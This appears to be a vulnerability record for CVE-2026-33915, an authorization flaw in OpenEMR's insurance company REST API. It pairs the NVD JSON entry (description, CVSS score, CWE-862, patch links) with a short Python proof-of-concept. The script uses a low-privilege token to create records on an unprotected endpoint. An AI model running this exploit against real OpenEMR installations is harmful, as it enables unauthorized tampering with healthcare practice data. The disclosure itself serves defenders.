CVE-2026-33915

import requests # Target configuration target_url = "http://target-openemr-site/api/insurance_company" # Example endpoint api_token = "LOW_PRIVILEGE_USER_TOKEN" # Headers headers = { "Authorization": f"Bearer {api_token}", "Content-Type": "application/json" } # Malicious payload to create or modify insurance data payload = { "name": "Hacker Insurance", "address": "123 Attacker St" } # Sending the request # Exploitation relies on the missing request_authorization_check() response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Data modified.") else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-33915", "sourceIdentifier": "[email protected]", "published": "2026-03-26T00:16:39.303", "lastModified": "2026-03-26T16:26:16.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 8.0.0.3, five insurance company REST API routes are missing the `RestConfig::request_authorization_check()` call that every other data-modifying route in the standard API uses. This allows any authenticated API user to create and modify insurance company records even if their OpenEMR user account does not have administrative ACL permissions. Version 8.0.0.3 patches the issue."}, {"lang": "es", "value": "OpenEMR es una aplicación de gestión de prácticas médicas y registros de salud electrónicos de código abierto y gratuita. Antes de la versión 8.0.0.3, cinco rutas de la API REST de compañías de seguros carecen de la llamada 'RestConfig::request_authorization_check()' que utiliza cualquier otra ruta de modificación de datos en la API estándar. Esto permite a cualquier usuario de la API autenticado crear y modificar registros de compañías de seguros incluso si su cuenta de usuario de OpenEMR no tiene permisos ACL administrativos. La versión 8.0.0.3 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0.3", "matchCriteriaId": "E3E098AF-42A1-4798-85A7-80052F19F809"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/commit/976d2a85f024a730955578597a82c083067a72b4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openemr/openemr/releases/tag/v8_0_0_3", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-ww94-26v7-x4gp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}